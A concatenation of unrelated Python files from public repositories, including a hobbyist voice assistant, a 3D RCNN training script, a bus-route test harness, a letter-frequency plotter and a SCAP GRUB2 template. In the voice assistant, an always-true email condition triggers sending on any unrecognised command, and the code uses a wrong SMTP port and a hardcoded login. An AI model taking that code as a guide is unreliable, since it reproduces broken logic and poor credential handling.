import pyttsx3 import datetime import speech_recognition as sr import wikipedia import webbrowser import os import smtplib engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) # To change the voice to female change 0 to 1. def speak(audio): engine.say(audio) engine.runAndWait() pass def take_command(): """ It takes microphone input from the user and returns a string :return: """ r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 1.5 # It will wait 1.5 seconds to complete a sentence audio = r.listen(source) #Do read details try: print("Recognizing") query = r.recognize_google(audio,language='en-in') print(f'user said : {query}\n') except Exception as e: #print(e) print("Say that again please") return "None" return query def sendEmail(to,content): server =smtplib.SMTP('smtp.gmail.com',28) # server.connect("smtp.gmail.com",465) # server.ehlo() server.login('jayeshvijayesh@gmail.com','########') server.sendmail('jayeshvijayesh@gmail.com',to,content) server.close() def wish_me(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour < 12: speak("Good morning") elif hour >= 12 and hour < 18: speak("Good afternoon") else: speak("Good night") speak("I am JARVIS how can i help you") if __name__ == '__main__': wish_me() while True: query =take_command().lower() if 'wikipedia' in query: speak("Searching wikipedia") query = query.replace('wikipedia','') results = wikipedia.summary(query,sentences=2)#To read more increase sentence to decrease sentence decreease sentence speak("According to wikipedia") #print(results) speak(results) elif 'open youtube' in query: # webbrowser.Chrome.open_new("youtube.com") webbrowser.open("youtube.com") elif "open google" in query: webbrowser.open("google.com") elif "play music" in query: music_dir = "D:\\vijayesh\\music" songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir,songs[1])) elif "the time" in query: strtime = datetime.datetime.now().strftime("%H:%M:%S") speak(f"The time is {strtime}") elif " open pycharm" in query: pycharmpath ="C:\\Program Files\\JetBrains\\PyCharm Community Edition 2021" os.startfile(pycharmpath) #elif "open command" in query: # filelocation = "path of the particular file like above" # os.startfile(filelocation) elif " email to vijayesh" or "email to vijesh" in query: try: speak("What should i say")#error present content = take_command() to = "jayeshvijayesh@gmail.com" sendEmail(to,content) speak("Email has been sent") exit() except Exception as e: print(e) speak("Sorry,I am not able to send this email") exit()

7c20c3110a71ede08c1358d9822f7b43bb07338f

py

Python

3D/Train_Module_3D.py

geometatqueens/RCNN

2e1e67264969f05a2f554595577dfb1025938245

2020-04-30T21:31:59.000Z

2020-04-30T21:31:59.000Z

3D/Train_Module_3D.py

geometatqueens/RCNN

2e1e67264969f05a2f554595577dfb1025938245

3D/Train_Module_3D.py

geometatqueens/RCNN

2e1e67264969f05a2f554595577dfb1025938245

"""The present code is the Version 1.0 of the RCNN approach to perform MPS in 3D for categorical variables. It has been developed by S. Avalos and J. Ortiz in the Geometallurygical Group at Queen's University as part of a PhD program. The code is not free of bugs but running end-to-end. Any comments and further improvements are well recevied to: 17saa6@queensu.ca April 16, 2019. Geomet Group - Queen's University - Canada""" # Do not display the AVX message about using GPU import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' #from tensorflow.python.client import device_lib #print(device_lib.list_local_devices()) #os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152 #os.environ["CUDA_VISIBLE_DEVICES"]="0" ## ######################### import numpy as np import tensorflow as tf import time import External_Functions_3D as fns_nested import gc for ind0 in range(1): start_time_AllTrain = time.time() HyperPar = [] HyperPar.append(50) # SGsizex - Num 0 HyperPar.append(50) # SGsizey - Num 1 HyperPar.append(50) # SGsizez - Num 2 HyperPar.append(int(7)) # Search_x - Num 3 HyperPar.append(int(7)) # Search_y - Num 4 HyperPar.append(int(7)) # Search_z - Num 5 HyperPar.append(int(7)) # IPsizex - Num 6 HyperPar.append(int(7)) # IPsizey - Num 7 HyperPar.append(int(7)) # IPsizez - Num 8 HyperPar.append(50) # Percentage of Data Conditioning - Num 9 .. divided by 3 so 1% is 10 represents 1% HyperPar.append(1) # MinDC - Num 10 HyperPar.append(1500) # Num Fully Connected - Num 11 HyperPar.append(3) # wdnh - Num 12 HyperPar.append(16) # convdepth - Num 13 HyperPar.append(2) # num of categories - Num 14 print("SG: ", int(HyperPar[3]),"x",int(HyperPar[4]),"x",int(HyperPar[5]), "IP: ", int(HyperPar[6]),"x",int(HyperPar[7]),"x",int(HyperPar[8])) Ncicles = 500 Nepoch = 1 #Nbatch = 250 Nsamples = 512 TrainingImage = "TI_Collaboration_1of4_50x50x50_newRepresentation.dat" LocModel = 'Models/3D_NewRepresentation/Allperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth/FeatMaps'%(int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13])) #LocModel = 'Models/3D_NewRepresentation/New%sperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth/FeatMaps'%(int(HyperPar[9]), int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13])) LocFile = 'Models/3D_NewRepresentation/Allperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth'%(int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13])) #LocFile = 'Models/3D_NewRepresentation/New%sperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth'%(int(HyperPar[9]), int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13])) print("[Graph]") #fns_nested.CreateGraph_4ConvNets_4HL_NFeaConv_wdnhxwdnh_BN_3D_NoBN(HyperPar=HyperPar, LocModel=LocModel) fns_nested.CreateGraph_4ConvNets_4HL_NFeaConv_wdnhxwdnh_BN_3D(HyperPar=HyperPar, LocModel=LocModel) # To save the TI TempSimGrid = fns_nested.Grid(HyperPar=HyperPar, DBname=TrainingImage, Lvl=3,Training=False, Padding=True) TempSimGrid.SavePlot(name=LocModel+'_TI.png', Level=1) MaxLR, MinLR = 0.01, 0.001 StepLR = 10 PointStart = 1 for indTrain in range(Ncicles): #HyperPar[9] = np.random.randint(41)+10 cuos = indTrain%(2*StepLR) if cuos < StepLR: LearningRate = np.around(((MaxLR - MinLR)/StepLR)*cuos + MinLR, decimals=7) else: LearningRate = np.around(((MaxLR - MinLR)/StepLR)*(StepLR - cuos) + MaxLR, decimals=7) start_time_1 = time.time() print ("Cicle: {}".format(indTrain+PointStart), "Learning Rate: ", LearningRate) TempSimGrid = fns_nested.Grid(HyperPar=HyperPar, DBname=TrainingImage, Lvl=5, Training=True, Padding=True) print("[Sim]") TempSimGrid.Simulate_4ConvNets_BN_3D(LocModel=LocModel, Cicle=(indTrain+PointStart), Plot=True) print("[Saving Grid]") TempSimGrid.SaveGrid(file="{}/TrainReas_{}.txt".format(LocFile, indTrain+PointStart)) print("[Train]") TempSimGrid.Train_4ConvNets_BN_3D(Epochs=Nepoch, Num_samples=Nsamples, LocModel=LocModel, LR=LearningRate) print("--%s seconds of whole training process-" % (np.around((time.time() - start_time_1), decimals=2))) gc.collect() print(" ") print("--%s minutes of ALL training-" % ((time.time() - start_time_AllTrain)/60))

7c2db7d1e1ec02302af64420555ad08513981b88

py

Python

tests/route_generator_test.py

CityPulse/dynamic-bus-scheduling

7516283be5a374fe0a27715f4facee11c847f39f

2016-09-24T11:42:48.000Z

2021-06-11T08:06:23.000Z

tests/route_generator_test.py

CityPulse/CityPulse-Dynamic-Bus-Scheduler

7516283be5a374fe0a27715f4facee11c847f39f

2016-07-08T09:16:42.000Z

2016-07-08T09:16:42.000Z

tests/route_generator_test.py

CityPulse/dynamic-bus-scheduling

7516283be5a374fe0a27715f4facee11c847f39f

2016-06-17T12:46:28.000Z

2021-09-25T19:04:37.000Z

#!/usr/local/bin/python # -*- coding: utf-8 -*- """ - LICENCE The MIT License (MIT) Copyright (c) 2016 Eleftherios Anagnostopoulos for Ericsson AB (EU FP7 CityPulse Project) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - DESCRIPTION OF DOCUMENTS -- MongoDB Database Documents: address_document: { '_id', 'name', 'node_id', 'point': {'longitude', 'latitude'} } bus_line_document: { '_id', 'bus_line_id', 'bus_stops': [{'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}] } bus_stop_document: { '_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'} } bus_stop_waypoints_document: { '_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'waypoints': [[edge_object_id]] } bus_vehicle_document: { '_id', 'bus_vehicle_id', 'maximum_capacity', 'routes': [{'starting_datetime', 'ending_datetime', 'timetable_id'}] } detailed_bus_stop_waypoints_document: { '_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'waypoints': [[edge_document]] } edge_document: { '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'max_speed', 'road_type', 'way_id', 'traffic_density' } node_document: { '_id', 'osm_id', 'tags', 'point': {'longitude', 'latitude'} } point_document: { '_id', 'osm_id', 'point': {'longitude', 'latitude'} } timetable_document: { '_id', 'timetable_id', 'bus_line_id', 'bus_vehicle_id', 'timetable_entries': [{ 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'departure_datetime', 'arrival_datetime', 'number_of_onboarding_passengers', 'number_of_deboarding_passengers', 'number_of_current_passengers', 'route': { 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges', 'distances_from_starting_node', 'times_from_starting_node', 'distances_from_previous_node', 'times_from_previous_node' } }], 'travel_requests': [{ '_id', 'client_id', 'bus_line_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'departure_datetime', 'arrival_datetime', 'starting_timetable_entry_index', 'ending_timetable_entry_index' }] } traffic_event_document: { '_id', 'event_id', 'event_type', 'event_level', 'point': {'longitude', 'latitude'}, 'datetime' } travel_request_document: { '_id', 'client_id', 'bus_line_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'departure_datetime', 'arrival_datetime', 'starting_timetable_entry_index', 'ending_timetable_entry_index' } way_document: { '_id', 'osm_id', 'tags', 'references' } -- Route Generator Responses: get_route_between_two_bus_stops: { 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'route': { 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges', 'distances_from_starting_node', 'times_from_starting_node', 'distances_from_previous_node', 'times_from_previous_node' } } get_route_between_multiple_bus_stops: [{ 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'route': { 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges', 'distances_from_starting_node', 'times_from_starting_node', 'distances_from_previous_node', 'times_from_previous_node' } }] get_waypoints_between_two_bus_stops: { 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'waypoints': [[{ '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'max_speed', 'road_type', 'way_id', 'traffic_density' }]] } get_waypoints_between_multiple_bus_stops: [{ 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, 'waypoints': [[{ '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}}, 'max_speed', 'road_type', 'way_id', 'traffic_density' }]] }] """ import time import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), '../')) from src.common.logger import log from src.common.parameters import testing_bus_stop_names from src.route_generator.route_generator_client import get_route_between_two_bus_stops, \ get_route_between_multiple_bus_stops, get_waypoints_between_two_bus_stops, get_waypoints_between_multiple_bus_stops __author__ = 'Eleftherios Anagnostopoulos' __email__ = 'eanagnostopoulos@hotmail.com' __credits__ = [ 'Azadeh Bararsani (Senior Researcher at Ericsson AB) - email: azadeh.bararsani@ericsson.com' 'Aneta Vulgarakis Feljan (Senior Researcher at Ericsson AB) - email: aneta.vulgarakis@ericsson.com' ] def test_get_route_between_two_bus_stops(starting_bus_stop=None, ending_bus_stop=None, starting_bus_stop_name=None, ending_bus_stop_name=None): """ :param starting_bus_stop: bus_stop_document :param ending_bus_stop: bus_stop_document :param starting_bus_stop_name: string :param ending_bus_stop_name: string """ log(module_name='route_generator_test', log_type='INFO', log_message='get_route_between_two_bus_stops: starting') start_time = time.time() # response = { # 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'route': { # 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges', # 'distances_from_starting_node', 'times_from_starting_node', # 'distances_from_previous_node', 'times_from_previous_node' # } # } response = get_route_between_two_bus_stops( starting_bus_stop=starting_bus_stop, ending_bus_stop=ending_bus_stop, starting_bus_stop_name=starting_bus_stop_name, ending_bus_stop_name=ending_bus_stop_name ) starting_bus_stop = response.get('starting_bus_stop') ending_bus_stop = response.get('ending_bus_stop') route = response.get('route') if route is not None: total_distance = route.get('total_distance') total_time = route.get('total_time') node_osm_ids = route.get('node_osm_ids') points = route.get('points') edges = route.get('edges') distances_from_starting_node = route.get('distances_from_starting_node') times_from_starting_node = route.get('times_from_starting_node') distances_from_previous_node = route.get('distances_from_previous_node') times_from_previous_node = route.get('times_from_previous_node') output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) + \ '\ntotal_distance: ' + str(total_distance) + \ '\ntotal_time: ' + str(total_time) + \ '\nnode_osm_ids: ' + str(node_osm_ids) + \ '\npoints: ' + str(points) + \ '\nedges: ' + str(edges) + \ '\ndistances_from_starting_node: ' + str(distances_from_starting_node) + \ '\ntimes_from_starting_node: ' + str(times_from_starting_node) + \ '\ndistances_from_previous_node: ' + str(distances_from_previous_node) + \ '\ntimes_from_previous_node: ' + str(times_from_previous_node) else: output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) + \ '\nroute: None' print output elapsed_time = time.time() - start_time time.sleep(0.1) log(module_name='route_generator_test', log_type='INFO', log_message='test_get_route_between_two_bus_stops: finished - elapsed_time = ' + str(elapsed_time) + ' sec') def test_get_route_between_multiple_bus_stops(bus_stops=None, bus_stop_names=None): """ :param bus_stops: [bus_stop_document] :param bus_stop_names: [string] """ log(module_name='route_generator_test', log_type='INFO', log_message='get_route_between_multiple_bus_stops: starting') start_time = time.time() route_distance = 0 route_traveling_time = 0 # response = [{ # 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'route': { # 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges', # 'distances_from_starting_node', 'times_from_starting_node', # 'distances_from_previous_node', 'times_from_previous_node' # } # }] response = get_route_between_multiple_bus_stops( bus_stops=bus_stops, bus_stop_names=bus_stop_names ) for intermediate_response in response: starting_bus_stop = intermediate_response.get('starting_bus_stop') ending_bus_stop = intermediate_response.get('ending_bus_stop') intermediate_route = intermediate_response.get('route') if intermediate_route is not None: total_distance = intermediate_route.get('total_distance') route_distance += total_distance total_time = intermediate_route.get('total_time') route_traveling_time += total_time node_osm_ids = intermediate_route.get('node_osm_ids') points = intermediate_route.get('points') edges = intermediate_route.get('edges') distances_from_starting_node = intermediate_route.get('distances_from_starting_node') times_from_starting_node = intermediate_route.get('times_from_starting_node') distances_from_previous_node = intermediate_route.get('distances_from_previous_node') times_from_previous_node = intermediate_route.get('times_from_previous_node') output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) + \ '\ntotal_distance: ' + str(total_distance) + \ '\ntotal_time: ' + str(total_time) + \ '\nnode_osm_ids: ' + str(node_osm_ids) + \ '\npoints: ' + str(points) + \ '\nedges: ' + str(edges) + \ '\ndistances_from_starting_node: ' + str(distances_from_starting_node) + \ '\ntimes_from_starting_node: ' + str(times_from_starting_node) + \ '\ndistances_from_previous_node: ' + str(distances_from_previous_node) + \ '\ntimes_from_previous_node: ' + str(times_from_previous_node) else: output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) + \ '\nroute: None' print output route_average_speed = (route_distance / 1000) / (route_traveling_time / 3600) print '\nroute_distance: ' + str(route_distance / 1000) + \ ' - route_traveling_time: ' + str(route_traveling_time / 60) + \ ' - route_average_speed: ' + str(route_average_speed) elapsed_time = time.time() - start_time time.sleep(0.1) log(module_name='route_generator_test', log_type='INFO', log_message='test_get_route_between_multiple_bus_stops: finished - elapsed_time = ' + str(elapsed_time) + ' sec') def test_get_waypoints_between_two_bus_stops(starting_bus_stop=None, ending_bus_stop=None, starting_bus_stop_name=None, ending_bus_stop_name=None): """ :param starting_bus_stop: bus_stop_document :param ending_bus_stop: bus_stop_document :param starting_bus_stop_name: string :param ending_bus_stop_name: string """ log(module_name='route_generator_test', log_type='INFO', log_message='test_get_waypoints_between_two_bus_stops: starting') start_time = time.time() # response = { # 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'waypoints': [[{ # '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}}, # 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}}, # 'max_speed', 'road_type', 'way_id', 'traffic_density' # }]] # } response = get_waypoints_between_two_bus_stops( starting_bus_stop=starting_bus_stop, ending_bus_stop=ending_bus_stop, starting_bus_stop_name=starting_bus_stop_name, ending_bus_stop_name=ending_bus_stop_name ) starting_bus_stop = response.get('starting_bus_stop') ending_bus_stop = response.get('ending_bus_stop') waypoints = response.get('waypoints') output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) print output for separate_waypoints in waypoints: print 'waypoints: ' + str(separate_waypoints) elapsed_time = time.time() - start_time time.sleep(0.1) log(module_name='route_generator_test', log_type='INFO', log_message='test_get_waypoints_between_two_bus_stops: finished - elapsed_time = ' + str(elapsed_time) + ' sec') def test_get_waypoints_between_multiple_bus_stops(bus_stops=None, bus_stop_names=None): """ :param bus_stops: [bus_stop_document] :param bus_stop_names: [string] """ log(module_name='route_generator_test', log_type='INFO', log_message='test_get_waypoints_between_multiple_bus_stops: starting') start_time = time.time() # response = [{ # 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}, # 'waypoints': [[{ # '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}}, # 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}}, # 'max_speed', 'road_type', 'way_id', 'traffic_density' # }]] # }] response = get_waypoints_between_multiple_bus_stops( bus_stops=bus_stops, bus_stop_names=bus_stop_names ) for intermediate_response in response: starting_bus_stop = intermediate_response.get('starting_bus_stop') ending_bus_stop = intermediate_response.get('ending_bus_stop') waypoints = intermediate_response.get('waypoints') output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \ '\nending_bus_stop: ' + str(ending_bus_stop) print output for separate_waypoints in waypoints: print 'waypoints: ' + str(separate_waypoints) elapsed_time = time.time() - start_time time.sleep(0.1) log(module_name='route_generator_test', log_type='INFO', log_message='test_get_waypoints_between_multiple_bus_stops: finished - elapsed_time = ' + str(elapsed_time) + ' sec') if __name__ == '__main__': selection = '' while True: selection = raw_input( '\n0. exit' '\n1. test_get_route_between_two_bus_stops' '\n2. test_get_route_between_multiple_bus_stops' '\n3. test_get_waypoints_between_two_bus_stops' '\n4. test_get_waypoints_between_multiple_bus_stops' '\nSelection: ' ) if selection == '0': break elif selection == '1': test_get_route_between_two_bus_stops( starting_bus_stop_name=testing_bus_stop_names[0], ending_bus_stop_name=testing_bus_stop_names[1] ) elif selection == '2': test_get_route_between_multiple_bus_stops( bus_stop_names=testing_bus_stop_names ) elif selection == '3': test_get_waypoints_between_two_bus_stops( starting_bus_stop_name=testing_bus_stop_names[0], ending_bus_stop_name=testing_bus_stop_names[1] ) elif selection == '4': test_get_waypoints_between_multiple_bus_stops( bus_stop_names=testing_bus_stop_names ) else: print 'Invalid input'

7c30ba325b9fb817b1364d8d7e3e057255111d8c

py

Python

letters_of_sherlock.py

MariannaJan/LettersOfSherlock

cf356c002078d4e0e6bcf1a669bc8b358680460f

letters_of_sherlock.py

MariannaJan/LettersOfSherlock

cf356c002078d4e0e6bcf1a669bc8b358680460f

letters_of_sherlock.py

MariannaJan/LettersOfSherlock

cf356c002078d4e0e6bcf1a669bc8b358680460f

import lettercounter as lc #Books form Gutenberg Project: https://www.gutenberg.org/ebooks/author/69 lc.showPlots(text_directory_pathname="./Books/", title="Sir Arthur Conan Doyle's favourite letters", legend_label_main="in Doyle's stories")

7c32daa41ae2a8f92a0d91d061b5264ea9984602

py

Python

shared/templates/grub2_bootloader_argument/template.py

justchris1/scap-security-guide

030097afa80041fcdffc537a49c09896efedadca

2018-09-05T06:31:44.000Z

2022-03-31T03:38:24.000Z

shared/templates/grub2_bootloader_argument/template.py

justchris1/scap-security-guide

030097afa80041fcdffc537a49c09896efedadca

2018-09-04T15:14:04.000Z

2022-03-31T23:17:57.000Z

shared/templates/grub2_bootloader_argument/template.py

justchris1/scap-security-guide

030097afa80041fcdffc537a49c09896efedadca

2018-09-08T20:08:49.000Z

2022-03-30T20:54:32.000Z

import ssg.utils def preprocess(data, lang): data["arg_name_value"] = data["arg_name"] + "=" + data["arg_value"] if lang == "oval": # escape dot, this is used in oval regex data["escaped_arg_name_value"] = data["arg_name_value"].replace(".", "\\.") # replace . with _, this is used in test / object / state ids data["sanitized_arg_name"] = ssg.utils.escape_id(data["arg_name"]) return data